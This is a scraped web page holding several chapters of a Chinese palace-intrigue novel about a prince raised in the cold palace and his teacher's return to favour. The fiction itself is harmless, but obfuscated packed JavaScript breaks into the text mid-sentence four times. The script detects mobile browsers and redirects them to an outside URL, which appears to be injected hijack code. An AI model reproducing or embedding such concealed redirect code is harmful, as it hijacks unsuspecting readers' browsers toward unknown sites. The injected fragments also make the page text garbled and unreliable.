35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974352|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “陛下,此人来历不明,应该好好调查一番才是啊!” “够了,朕想起来了,朕是有这么一个孩子。” 贵妃愣在原地。 皇帝缓缓起身,像是做好了一个巨大的决定一样,走向伏在地上的皇甫澍。 “你是朕的儿子?” “是。”皇甫澍语气坚定。 “你很有才华,倒也配做朕的孩子。” “陛下谬赞了。” 冯盼春这时候也帮腔道:“正是因为有皇家血脉,才能有如此才华。” 话刚说完,就被贵妃瞪了一眼。 “陛下,若像他这样不知底细的人都敢攀龙附凤,叫陛下正经的血脉颜面何存呢,皇室威严何在?” “不必多言,朕一见他便有亲切之感。你觉得是朕看走眼了吗?” “臣妾不敢。只是此事太过蹊跷,臣妾斗胆猜测,这是阉人冯盼春与这小子串通好的一场戏,虽然臣妾不知他们这样做目的为何,但混淆皇家血脉,其心可诛!臣妾叩请陛下三思。” “冯盼春,你解释一下。” “陛下,奴才死罪。“ “嗯?” “奴才的确是为了使遗失在外的龙嗣认祖归宗,才策划了这场献诗。使陛下认回皇子,就是奴才斗胆献上的贺礼。” “你解释一下从哪儿找来的这小子?”贵妃追问。 “是废妃柳氏托奴才让皇嗣面见圣颜的。” “什么柳氏,后宫里根本没这一号人!” “你叫嚷够了没有?”皇帝斥道。冯盼春服侍皇帝起居日久,对圣心的了解非其他人能比。他知道,皇帝会选择维护他们了。 “好孩子,站起来,”他扶起皇甫澍,慈爱地抱住他的肩膀,“朕膝下福薄,至今也只有一个独子,身为九五至尊,却不能享受儿孙满堂的天伦之乐,本来是朕的一块心病。你在这个时候回到朕身边,当真如明珠归匣,甚慰朕心。朕多年前不察,使你流落在外,这些年,你一定吃了不少苦头吧。” “小臣能再次见到陛下,心里只有喜,什么苦都不记得了。”皇甫澍低下了头。 “殿下,该自称‘儿臣’了。”冯盼春提醒道。 贵妃泪汪汪的:“陛下,您想想诚儿,诚儿会怎么想啊?” “诚儿有了一个大哥,该高兴才是啊。”他不以为意。 皇帝的想法不可撼动。他对着满堂的太学生们宣布道: “今日,是朕的寿辰,朕与爱子久别重逢,不可不谓是上天眷顾。你们当与朕同喜。来人,满座皆赏。” 本来还在一旁满腹狐疑的士人们,接过赏赐时都笑眯眯的。皇帝又下令,将皇甫澍方才的作品裱装后,悬挂在吟墨院的大堂,供众人欣赏学习。 皇甫澍的出现在朝野内外掀起了轩然大波,一时间街头巷尾议论纷纷。这个不知从什么地方冒出来的皇子,居然轻易地就得到了皇帝的认可和宠爱。无论是对他的身份,还是对他的才华,都产生出了无数的猜测。 冯盼春作为整场事件的缔造者,此事后在后宫没少遭到白眼与挤兑。不过这对他来说只是毛毛雨。真正令他不安的反而是陛下对皇甫澍过于信任的态度,他对他的来历没有多问,更没有展现出一丁点的怀疑。作为一个谨慎的君王。这是不正常的。而不正常的地方,绝对暗藏着危险。 11. 重生(二) 寿宴的那天晚上,娄庄姬听到冯盼春带来的口信,惴惴不安的心终于放下了。刚走回自己的房里,却发现柳美人坐在她的床上,黑暗中的的面庞闪着诡异的光。 “姐姐怎么起来了?” “澍儿去哪儿了?你说他在你这儿上课,你骗我。” “姐姐···” “你让那个太监把他带到皇上面前了是不是?” 娄庄姬觉得没什么好隐瞒的了,深吸一口气说: “是。” 有一瞬间,她觉得柳美人会扑上来掐住她的脖子。 “你一个字都没有告诉我。” “若是告诉你,你肯定会担心。” “你怕我拖后腿?” “不是这样的。只是姐姐你一直都太护着澍儿了,而且你身体不好,我们不想让你为此提心吊胆的。” “你们?澍儿也觉得不能告诉我?” “是。但我们成功了,皇上已经下令追回澍儿皇子的名分,姐姐不日也可以脱离苦海,扬眉吐气了。” “我看是你可以扬眉吐气了吧。” “什么?” “你记好了,我才是澍儿的母亲。你只是他一时的师父,归根结底是一个外人!” 娄庄姬的脸一下子拉下来了。 “姐姐在责备我吗?我觉得我没错。” “是啊,你的想法一直都没有变过。你从最开始就是想利用他,离开冷宫飞黄腾达。” “我一直把澍儿的未来看得比我自己的要重要。” “你自己相信就好。” “姐姐不会想让他在冷宫住一辈子吧?” “我不想他死。我害怕他在外面会死。” “澍儿不会死。” “那也不是你能说了算的。” “我敢让他出去搏一把,一定是因为已经做好了万全的准备。” “你敢说自己一点儿都不担心吗?” 娄庄姬微微哽住。 “如果是我的话,哪怕是有最渺小的风险,我都不会让我的孩子去试。你呢,你不在乎,至少没有我在乎。” “你今天怎么会说这样的话?” “你怎么让我儿去做那样的事?” “不管你怎么说,木已成舟,什么都改变不了了。姐姐最好还是为澍儿高兴吧。” “我努力了。但看到你我就高兴不起来。” “那就请姐姐回自己的房里去吧。” “用不着你下逐客令。” 柳美人颤颤巍巍地离开了。娄庄姬看她蹒跚,本想扶一把,却被她无力但坚决地推开。 又是一个无眠夜。她看明白了七年来柳美人和蔼之下对她的防卫,而这种防卫又因为柳美人日渐衰老导致的疲惫、对安稳的渴望而加重。她知道,柳美人已经对皇帝的回心转意没有指望了,冷宫最终摧折了她的气节。于是一切的希望对她来说都是一种冒犯。娄庄姬觉得心里很悲凉,只能用皇甫澍的好消息来压抑这种伤感。 与此同时,皇甫澍也在经历一番考验。 中午的宴席散去后,他在宫人的伺候下沐浴、更衣,穿上了出生以来从未见过的最华美的衣服。滚着金边的丝绸长袍,玉带皮靴。他本来就仪表堂堂,人靠衣装,在皇子的装束下显得更加贵气逼人。 他和冯盼春都没有想到,事情会这样顺利,皇帝没有多加怀疑,就相信了他们的说辞。冯盼春的解释是,皇帝对当年天象的事,一直讳莫如深,不会轻易提起,但又得益于最近他放出的假消息,不会不认这个儿子,所以自然是会尽全力为他的身份掩盖。 “冯大监,父皇他,就这么相信星象吗?他因为星象不想让我出生,又因为星象欢天喜地地把我认回来。不知道为什么,我觉得开心不起来。” “这话可说不得。这是你的福气啊。” “大监,我们这样做,是不是算骗了父皇。” “怎么是骗呢?” “我们编了星象,对吧?” “您不用为这个担心。前前后后,不知道有多少人买通过钦天监,给自己争取好处呢。所谓的天意,不过都是人愿。” 皇甫澍只露出一个苦涩的笑。 当晚,皇帝在自己殿内单独召见了皇甫澍,对着他的脸详细地打量了一番,最后叹息道: “太瘦了。” 他让人端来了一大盘佳肴糕点,都是皇甫澍没有见过的,他吞了一下口水。 “吃吧孩子,在冷宫那样的地方,估计没有什么好东西。” “儿臣不敢。” “你我父子之间,还讲究这些虚礼做什么?” 皇帝精心准备的温馨氛围,让皇甫澍有些无所适从,吃东西的模样十分扭捏。皇帝看了,只当是因他年幼受苦,所以胆小卑微,又是沉重地叹气。 “你···知道当年的事儿吗?” “儿臣听说,是柳氏冲撞了父皇获罪,父皇才命她与儿臣在冷宫思过。”这自然是冯盼春教他的话。 “嗯,朕当年是一时冲动,不想使你们遭受这样的苦楚。你放心,朕已经下令,明天就派人将柳氏接出冷宫,荣华富贵安度余生。“ “澍儿替母亲谢过父皇。” 皇帝拍了拍他的肩膀。 “你的名字很有意思。是母亲取的吗?” ”不是,是我的师父起的。儿臣正想说呢,请父皇将儿臣的师父也接出冷宫吧!” “哦?你师父在冷宫,她也曾是朕的妃子吗?” “正是。儿臣的师父曾是陛下的娄婕妤。” “你的诗文都是她教的吗?” “儿臣能略有些薄才,都是师父悉心教导的成果,儿臣不敢忘却师恩。” “这真是奇事。朕竟不知道,后宫之中,竟有如此才华横溢的女子。” 皇帝答应了他的请求。父子俩又闲叙了一会儿家常,皇甫澍不自觉地回避父亲的目光,他也注意到这个动作会引起皇帝皱起眉头。但他实在没办法与这个相认才不到一天的父亲表现得亲密无间,更别说这不单单只是一个父亲,更是一个君王。 他也马上明白了一件事,君王的厌烦来的是很快的。皇帝很快就没耐性治理他闪躲的眼神了,让他回今天刚拨给他的宫殿里休息。 皇甫澍走在宫内长长的甬道上,路过巡夜的宫人们向他行礼,他的回礼让他们有些慌张。他走的这条路,夜里悬挂着宫灯,比冷宫要明亮多了。他希望马上母亲和师父也能跟他一起走这条路。 皇帝的话一言九鼎,第二天,接柳美人与娄婕妤出冷宫的旨意就传来了。娄庄姬恢复了原来的位分,柳美人一跃封为了昭仪。在清心阁嫔妃们艳羡的眼神中,娄庄姬和柳美人很快收拾好了不多的行装,跟着宫人们头也不回地离开了。从此,存芳殿只剩下了涂才人寂寞的灵位。 直到分道扬镳时,两个人都没有说过一句话。柳美人的疏离立起了一道难以跨越的墙,而娄庄姬暂时也没那个想法去突破它。二人之间冷漠的氛围冲淡了她离开冷宫的喜悦,取而代之的是因前途未卜而产生的焦躁。 娄庄姬又回到了自己曾经住的蒹葭阁。宫内空荡已久,一纸诏书来得急,宫人还没有收拾出来,她就坐在院子暂歇。看着屋内陈设,与自己离开时无异,只是积了灰。之前邻近的嫔妃,不是高升离开了,就是已经离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974353|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世。新来的妃子,探出头来偷偷打量着她。物是人非,她不禁有恍惚之感。 给她新安排的贴身婢女名叫素砚,大概十三四岁的豆蔻年华,清秀文静。娄庄姬笑道:“你的名字倒是有趣。” “奴婢本来是陛下身边的侍女。陛下让奴婢来侍奉娘娘,特意给奴婢改了这个名字。顺便,让奴婢给娘娘送来这个,嘱咐勿与别的赏赐放在一块。” 她呈给娄庄姬一块洁如白雪的端砚,上面浮雕一只栩栩如生的雄凤,做工精美。 “陛下说,他很欣赏娘娘的文采呢。” 娄庄姬抚摸这件赏赐,冰凉的浮雕也有了温度。她终于流下了出冷宫以来的第一滴泪。 “可是陛下以前不知道吗?他不知道吗?”她喃喃道。 素砚为她这滴泪有些摸不着头脑,只说: “娘娘这是喜极而泣?” 娄庄姬看着她,破涕而笑道:”是的。” 这时,从门外大摇大摆地走进了一个太监。娄庄姬瞧他眼熟,回忆了一下想起,他是贵妃身边的大太监张利亨。七年过去了,她还没有忘记这个人狐假虎威的气焰。 张利亨逡巡了一下有些凌乱的蒹葭阁,冷哼了一声。 “张公公,许久不见了。”娄庄姬冷冰冰地开腔。 “可不是嘛,娄婕妤,咱家都没想到还能再见到您呢。” “让你失望了。” “您说哪儿的话。” “你来有什么事儿吗?” “也没什么别的事,只是贵妃娘娘听说您复位了,想着一定要请您过去,好好叙一叙曾经的感情。” “哦,她想见我,不怕我再给她的孩子下毒吗?” “您这话说的不就自讨没趣了吗。” “是谁在自讨没趣。” “当年大殿下的事,您可是实打实的罪名,这不是奴才说的,也不是娘娘说的,是皇上定的呀。” “大殿下?我糊涂了,这宫里不是还有一位皇子吗,贵妃所出的,应该是二殿下吧。” 张利亨的尖下巴颤动了一下。 “娘娘,您与其和奴才在这里斗嘴,不如还是早早动身,去见贵妃娘娘吧。” “呵,你没看到我们这正忙着吗?劳烦你回了贵妃,我明日、或者后日,或者什么时候得空了,自会去拜访。” “这可不是您做主的。就是您有空了,那贵妃娘娘也不一定有工夫来见您啊。” “那就等我们二人都有空了再约吧。” “娘娘,您莫搪塞奴才。这整理宫殿的活,哪需要您屈尊去做呢,您最要紧的,是不要违背了贵妃娘娘一片心意。” 娄庄姬心想,这人怎么如此缠人。她一口回绝道:“贵妃的心意本宫心领了,你就照着我的话回就是了。” “娘娘,您这算不算,敬酒不吃吃罚酒呢?”张利亨皮笑肉不笑。 “你说什么,大胆奴才!” 素砚也在一旁帮腔:“娘娘面前,安敢无礼至此?” “娘娘,奴才无意冒犯,只是希望您不要跟奴才过不去,就跟奴才走一趟吧。” 张利亨话音刚落,另一个熟悉的声音就高亢地响起,直接压了他一头。 “今天,娄婕妤哪儿都不去,更不会跟你走。有更要紧的事儿要准备呢。” 是冯盼春!身着蟒袍的冯盼春此刻如同一个救星。 张利亨的表情一下子变得很难看,愤恨和谄媚的交织扭曲了他的面容。 “冯公公来的及时。不知有何要事。”娄庄姬笑。 冯盼春款款行礼,满脸喜色地说道:“娄娘娘,皇上有旨,今晚召您侍寝哪。” 12. 重生(三) 紧张。这是娄庄姬坐上前往皇帝寝宫未央宫时唯一的心情。这种铺天盖地的紧张甚至超过了喜悦。 虽然冯盼春跟她说,这是一份殊荣。皇帝已经很久没有召过妃子侍寝了,更别说她还是刚刚从冷宫出来的。有了这件任务,她也打发了贵妃不怀好意的邀约,欣赏了张利亨离开前咬牙切齿的不甘。但她还是紧紧抓住了身边素砚的衣袖,说道:“我还没准备好。” 很快就有宫人来为她沐浴更衣、梳妆打扮。她许久没有被人这样悉心地伺候过,身体绷得直直的,被触碰时会短暂的僵硬,把侍候的人也吓一跳。厚重的脂粉掩盖了她脸上和手上冻疮的痕迹,馥郁的香水驱散了冷宫的霉味,精致的妆容一扫她的疲惫。但她还是担心,这层伪装只是表面的,随时可能被揭下,使她的沧桑和憔悴一览无余地暴露出来。 未央宫的华美装潢仍未改变,只是原本龙涎香的味道换成了炼丹炉散发出来的烟熏火燎的气味,把娄庄姬的眼睛都熏红了,还咳嗽了几声,吓得一旁的太监以为她生病了。 她独坐在龙床上。听着滴答滴答的漏声,很远的地方,似乎还有人在念什么咒语。 皇帝对侍寝总是漫不上心,七年来也没有变过,今晚果然姗姗来迟。透过重重纱帘的掩映,娄庄姬险些没有认出,那个身穿天蓝色道袍的瘦长身影是皇帝,还以为有外人进宫,差点大叫起来。 皇帝皇甫弘的面容看起来清癯了不少,脸上的皮肉也松弛了一些,但如同鹰一般的眼神还是如从前一样。身如鹤形,步伐飘逸,倒还真有他想追求的仙人之姿。 看见娄庄姬,他抬手制止了她的行礼,搂过她的肩膀并坐。娄庄姬愣了一下,犹豫地将头倚靠在他的怀中。 “你受苦啦。” “只要又能见到陛下,臣妾就不苦。” “听澍儿说,你给他起了名字,又做了他的师父。” “大殿下夸张了,臣妾才疏学浅,怎么能做他的师父呢?不过在殿下面前卖弄了一番,博他一笑罢了。” “你太谦虚了,澍儿在寿宴上独占鳌头,你功不可没啊。朕真没想到,朕的宫中有如此红妆奇才,未必逊色于朝中的大臣们啊。” 娄庄姬被夸得面红耳赤的。迟来的欣喜与骄傲终于重新涌上了她的心间。她从打定主意教导皇甫澍时,就一直想象着这一刻。对她来说,这不亚于举子十年寒窗苦读后金榜题名的幸福。这一瞬间,她觉得那股刺鼻的烟味都格外好闻。 “哎,朕也是糊涂,怎么会让你这颗明珠蒙尘,流落在冷宫呢?” “陛下,臣妾当年实属冤枉啊。” “嗯,什么事?” 皇帝脸上的疑惑神情让娄庄姬觉得有点不对劲,她试探着问: “陛下还记得臣妾当年是因为什么原因处罚臣妾的吗?” “朕近年来国事繁忙,□□的琐事,大多都忘却了。” “既然如此,臣妾愿抛下那些令人愁苦的往事,只与陛下欢愉今夕。” “说得好,朕从前是委屈了你,不过所有的不愉快,朕日后会好好补偿的。前尘往事,你不愿提,就不用再提了。” “是。” 皇帝的怀抱更紧了,娄庄姬的欣喜却消失得无影无踪了。 她本来以为,皇帝是查清了当年的事,会为她洗刷冤屈;或者稍微差一点,是决定不再计较,令她将功折罪;或者,根本就是喊她来认罪的。可她怎么也没想到,皇帝把她的事忘得干干净净,她在进冷宫前的一切经历都无足轻重了。她在皇帝心里的身份被重建了,她是一个在冷宫落难的才女,而皇帝慧眼识珠,没有使她埋没。她想,皇帝心里一定为自己的这种圣明自豪吧,而她要扮演的,也就是一个对他的拯救感恩戴德的角色。 恍然之中,她推开了皇帝想要将她压在床上的手。 皇帝温柔的神色闪过了一刹那的崩塌。 “怎么了?”他还是好声好气地问。 娄庄姬这才意识到自己干了什么,连她自己也不知道自己是自发的还是装出来的——她开始止不住地颤抖。 “臣妾久居冷宫,忘却了该怎么侍奉陛下,请陛下恕罪。” 皇帝的动作明显滞住了。 “你现在是在···害怕?” 娄庄姬点了点头。她大胆地盯着皇帝,看着他的脸上从不满到犹豫再到无奈,她疑惑自己是不是从他的眼里读出了几乎难以察觉的愧疚。 “那好吧。”皇帝松开了放在她肩上的手,对她来说,像卸下了一个千斤的重担。 她本以为皇上要把她这样败兴的人赶走了。 “朕也久不行房事了,强乐无趣。你今晚还是睡在这儿吧,朕不碰你就是了。” 娄庄姬一惊,怯怯地点头。 “谢皇上。” 这个晚上她睡得并不安稳。她躺在皇帝的臂弯里,几乎是看着他合上眼睛,发出沉重的鼾声。这种一个人睡着了而另一个人还醒着的状态非常痛苦,她动也不敢动,呼吸都轻轻的,生怕吵醒皇帝。她盯着头上的绣工精美的纱帘,观察上面的龙的形态。到最后她实在是困得不得不睡了,昏昏沉沉一阵后,又竭力地醒过来,感到身旁的人气息不稳、不满地哼唧了一声,她短暂地惊了一下,后来又彻底地睡过去了。一觉醒来,皇帝已经上朝去了,而她起床时只觉得浑身疲惫,腰酸背痛。 她离开时,鬼使神差地闻了一下龙床被衾的味道。九五之尊的贴身用具上也有针脚的痕迹,沾染了皇帝衰老的体味。 她回到自己宫里时,看见门旁有一个脑袋四处张望着,发现她来了,就急急忙忙地冲上前。 皇甫澍如今换下了粗布缁衣,穿着十分贵气,娄庄姬粗看还没有认出来他。 “师父可算回来了!以前您就住在隔壁,走几步路就可以见到。现在皇宫那么大,要走好远的路才能见上您一面呢。” “傻孩子,现在可不能跟冷宫的时候比了。就比方说你现在,穿金戴玉的,跟之前完全两个样,我差点没认出是你呢。” 皇甫澍有点害羞:“这衣服我穿着怪不习惯的,还是从前好,轻便。” “我觉得你穿着蛮合适的,你本来就该穿这样的衣服。” “是吗?” “当然。走吧,进屋说话。” 皇甫澍对蒹葭阁的一切都带有没见过世面似的巨大好奇,遇到每一件陈设玩意都忍不住上手摸一摸,面对素砚敬的茶,他很大声地说了声:“谢谢姑娘!”把素砚闹了个大红脸。 “你现在身份不比从前,一举一动都有人在看,宫里的礼仪要快点学起来,别让人看笑话。” “在师父这儿,我才稍微松泛一点。” “真的吗?” “嗯,在外面,我还是很小心的。昨天去母亲那儿也是,我还从没有给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974354|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲行过那么多的礼呢。” “哦,你去看过你母亲了?” “嗯,她心情看起来不是很好,没说几句就让我走了。” 娄庄姬呡了一口茶,没说什么。 “师父,我来找你是有一件事。”他收敛了笑意。 “说吧。” “父皇说,想让我拜当朝宰相杜钧为师,我说还要考虑一下。” 娄庄姬微微愣神,强装平静地回答: “那很好,杜钧是当世大家,陛下让他做你的太傅,看得出他很器重你。” “是吗?可我不想再认一个师父了。” “你这话就有差。依你我现在的身份,我可不能再教你了。” “为什么,我可还没有出师。” “现在出师了。” “师父!”他很讶异地说,“你不想要我这个徒弟了吗?” “我现在没有什么能教你的了。更何况,现在我名义上是你的庶母。在冷宫,你我师徒关系无人在意,但在宫里,你我这样的交往会引来口舌非议。你今天像这样来找我,已经很不合规矩了。” “什么现在,什么以前?你们一直想让我离开冷宫,可为什么我觉得现在的日子并没有在冷宫时过得好?你们怎么都变得这么冷漠?” “你冷静一点。” “师父,你坦白告诉我,你收我作徒弟是不是只想利用我离开冷宫?你说希望我往高处走,是不是因为我只有恢复了皇子的身份,才有望能帮你?” 娄庄姬感到自己的面庞发烫。她提高声音反驳道:“你这是什么话?你做了尊贵的皇子,难道从此荣华富贵、前途无量的不是你?得了便宜还卖乖,我作为你的师父真是惭愧,什么时候教会了你这样的道理!” “你不承认也不行。你刚刚是从父皇那儿侍寝回来吧,冯大监跟我说了,你得到的天宠是皇宫里独一份的,就是因为你教出了我,父皇才赏识你。师父,我难道只是你下的一盘棋吗?” 娄庄姬腾一下站起来,怒道: “你如果要这么想,我说再多有用处吗?如果你这么高看我,认为我只是拿你当一颗棋子,那你更应该去拜杜丞相为师了,他是君子,绝不会像深宫妇人一样算计你。去吧,快去吧!” 皇甫澍见她发火,立刻改变了质问的语气,连忙为自己的过火而道歉,请求她的原谅。但娄庄姬的神经自从侍寝时就一直紧绷着,她没有好脾气宽恕他的冒失了。 “快走吧,我说了,不要让人看见了笑话。” 她几乎是推搡着他出去,皇甫澍并没有还手,也不敢坚定地抵抗,就被她半驱逐式地赶到了宫门口,临走前,他低声咬着牙一字一句地念道:“我只认你这一个师父。” 他一走,娄庄姬马上跟素砚说道:“我需要睡一觉,在我醒之前,什么事都不要叫我。” 她在自己的床上仍然辗转反侧。这是皇甫澍第一次跟她说这么伤人的话,而她更恐惧的是意识到了自己被伤到,因为他的话切中了她一直以来隐藏的心思。她从前并不觉得这种利用他的野心是不好的,但经过他的话语的放大,这种心思就变成了洪水猛兽,使她也害怕了。 她不知道是不是因为昨晚没有睡好,导致今早头格外的疼,使她困倦不已却无法入睡。自从离开冷宫以来,所有的事情都变得复杂。这种对比竟让她生出了荒诞的对冷宫生活的怀念。 13. 重生(四) 她的这一觉仍然没有睡好。刚躺下一会儿,门外又传来熟悉的争执声——张利亨又来了,而且这次更加气急败坏,看起来贵妃是非要见她不可了。 她知道避无可避,心烦意乱。勉强起身梳妆,本想随便挽一个髻,梳到一半时觉得不对,又让素砚改化一版艳丽张扬的妆容。她无意对贵妃示弱,相反,她心底燃起了一种报复欲,想好好败一下她的气焰。 她已经听说,由于贵妃在寿宴之后大吵大闹,皇上责令她静心思过,这几日对她态度很冷淡。虽然她明显没有好好思过,不然也不会来寻衅滋事,但无疑少了几分底气。 她昂首踏进贵妃的长信殿,希望浓厚的脂粉盖住她眼下的乌青,让她看起来高傲强大。 贵妃斜倚在主位上,漫不经心地玩弄着手中的橘子。她比七年前更加丰腴妩媚了,浑身散发着养尊处优的慵懒气质。宫中凤位空悬多年,贵妃早已是实际上的六宫之主。看见娄庄姬后,她露出一个冷笑。 “瞧瞧,你现在多么难请啊,在冷宫七年,竟抬高了你的身价?” “贵妃娘娘说哪里话,臣妾这不是一去完皇上那儿,就来拜见您了嘛?” “本宫是不是还要因此而谢你啊?” “这可折煞臣妾了,臣妾在娘娘这儿,可还是戴罪之身呢。” “你还算有点自知之明。陛下肯放你出来,那是陛下宅心仁厚,不与你计较。本宫可是会一直记得你的蛇蝎心肠。” “臣妾这样的微末之人,哪敢劳烦娘娘记挂啊。” 贵妃冷哼了一声。 “你还是跟先前一样,惹人生厌。” 娄庄姬寡淡地请罪。 “既然陛下不打算追查你的事,本宫也不再旧事重提,毕竟谁做了亏心事谁自己心里清楚,总有一天会落到报应。” 娄庄姬心里嘲讽道,当初自导自演了一出好戏,现在也不知是谁遭报应。 “现在本宫只有一件事要审你,你和冯盼春那个阉人是从哪里弄来的那个来路不明的野种的?” “娘娘说的是谁?” “你装傻?” “臣妾不知道什么‘野种’。” “哼,怎么不知,就是陛下寿宴上卖乖弄俏的那个小子。” “大殿下?娘娘这话可诧异,大殿下是皇上亲生的皇子,怎么到了娘娘口中,就成了野种了呢?” “你少在这里得意,陛下只有一个儿子,就是诚儿,何时多出来这个杂种?本宫不管你们用什么手段骗取了陛下的信任,但本宫要警告你们,混淆皇家血脉是杀头之罪,你们要做什么自己想清楚,别等事情败露了之后后悔莫及。” “娘娘,诚儿固然是皇子,澍儿也是血统纯正的皇子,这可是陛下金口玉言承认的。您不会在质疑陛下吧?” 袁贵妃的表情有点恼怒,娄庄姬见了她这副模样就心生喜悦。 “冷宫里冒出一个皇子?天方夜谭!我看你就是对本宫母子怀恨在心,才策划了这一场闹剧,不光要害本宫,还要害了诚儿!” “这臣妾就听不懂了。大殿下举止正派,怎么就害了娘娘、害了二殿下呢?” “你···明知故问!” 这个袁贵妃不知是不是养尊处优久了,脑子变笨了。娄庄姬一下子就猜出她的意思:皇甫澍没有出现之前,皇甫诚就是唯一的皇位继承人;现在横空出现一个劲敌,他的位置可要往后稍一稍了。贵妃心意如此,可又不能把储位之争明面地坦白,所以只要娄庄姬一直装傻,她就只能隔山打牛、原地绕圈。 “臣妾请娘娘明示。” “娄庄姬,你是不是觉得找到了一个靠山,觉得自己翅膀硬了可以跟本宫抗衡了?本宫可告诉你,真金不怕火炼,这假的总有一天会露出马脚来,没有做贵人的命就别想着麻雀变凤凰。还有,你以为养了一个贴心的干儿子,可他毕竟不是你亲生的,将来会怎么待你,还未可知呢。” “贵妃娘娘思虑万千,臣妾不及,日后还要请娘娘多为臣妾挂心才是。” 娄庄姬盯着贵妃手上逐渐被她捏软的橘子,忽而刻意造作地说: “娘娘所言何尝不正中臣妾下怀。大殿下虽长于冷宫妇人之手,所幸天意眷顾,勤奋好学,能得陛下青眼有加,也不忘报答臣妾这几年的些许教养,臣妾颇为感动。但这水往低处流、人往高处走,殿下此后一路青云直上,臣妾人微言轻,只怕会使殿下蒙羞。” 贵妃听着她这番明里暗里炫耀显摆的话,脸都气白了。娄庄姬明白,贵妃现在全身心都投在了皇甫诚身上,自己儿子有一丁点的挫折都会让她神经紧张。果然,她一怒之下,决定终止这场自己落于下风的口舌之争了。 “好自为之吧。快到午膳的时辰了,本宫这里餐食简朴,怎敢留你。你跪安吧。” 娄庄姬得体地告退了,并且心里很确信自己听到了贵妃的磨牙声。 她走在回宫的路上,雀跃地复盘着刚刚的交锋。自己表现的是否足够冷静睿智?是否戳到贵妃的痛处了?有没有落下话柄?有没有让贵妃觉得自己不容小觑?她从冷宫出来之后成长了多少?她记得七年前,每次与贵妃起口角,最后她都会被贵妃牵着鼻子走,现在她们的角色已经互换了。她想到这,不自觉激动地搓了搓手。 但让她有点羞愧的是,明明就在今晨,她才和皇甫澍吵过架,与贵妃交锋时,她的主要信心却还是来源于皇甫澍的卓尔不群。她开解自己,皇甫澍的才华是自己教出来的,夸他实际上就是夸自己,却不知为何总觉得不爽。 “我真的在利用他吗?”她不禁自言自语。 不过多亏了在贵妃那儿取得的胜利,她这两天的萎靡不振一扫而空了。午膳她胃口很好,下午时精神矍铄地给新来的宫人们训话,并安排他们装饰蒹葭阁的里里外外,摆上自己喜欢的名家字画、金石古玩,还给久未有消息的家人写了一封洋洋洒洒的家书。 但到了晚上,一切又变得沉寂而无聊。她本来打算做女红,跟素砚聊点闲话打发时间,却不知怎的心神不宁,手上的针线没拿起来一会儿就放下了。 她自己的蒹葭阁比冷宫的环境好得多,但是冷清下来,两者的分别并不大。她恍惚想,往常这个时候,她应该是和皇甫澍,还有涂才人柳美人围坐在一起聊天呢。皇甫澍会突然抛出一个白天没解决的疑问,然后两人又一头扎进书海里去,只留下背后的涂才人在跟柳美人笑话他俩“腐儒气。” 她的眼眶微微湿润了。 手上的活计此刻是那么无用。她在冷宫打的每一条络子,绣出的每一块手帕,都是充满希望的,她会认真地计算攒下来的绣品能换多少本书,能不能买到新的笔墨。线绳缠绕她的手指,她在忙碌的间隙总会想到皇甫澍的脸庞,作为无言的慰藉。 她发现自己没有办法不去想他。即便自己那么严厉地逼他出师,即便他质疑自己的目的不纯,他们的关系岌岌可危。 她无法压抑内心想为他做点什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974355|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的渴望。这好像已经成了一种习惯。 这时她又想起贵妃为皇甫诚忧心忡忡的神情。一个想法像一道惊雷似的在她的头颅里炸开: 皇甫澍应该做太子!应该做未来的皇帝! 素砚看着自己的主子猛地站起身来,目光灼灼地来回踱步,颤抖着从书架上扯出几本书,不停地翻页又合上,坐到书桌前,又提起笔想要写些什么,最终一字未动。 看见她突然像泄了气儿一样瘫在椅背上,嘟哝道:“我能做什么呢?” 她整个晚上都沉浸在乱麻般的思绪中。 第二天,一道皇帝口谕就改变了她无所事事的境况。他突发奇想,让娄庄姬为后宫妃嫔们授课,一再强调不能辜负她的才学。娄庄姬受宠若惊,马上开始准备起来。 来听她讲课的人比她想象的要多。大部分都是新面孔,与其说是来学习,更像是来奉承的。她们知道娄婕妤是皇上的新宠,纷纷主动示好。她们每节课都来,但永远是半途而废,不一会儿就睡倒了。 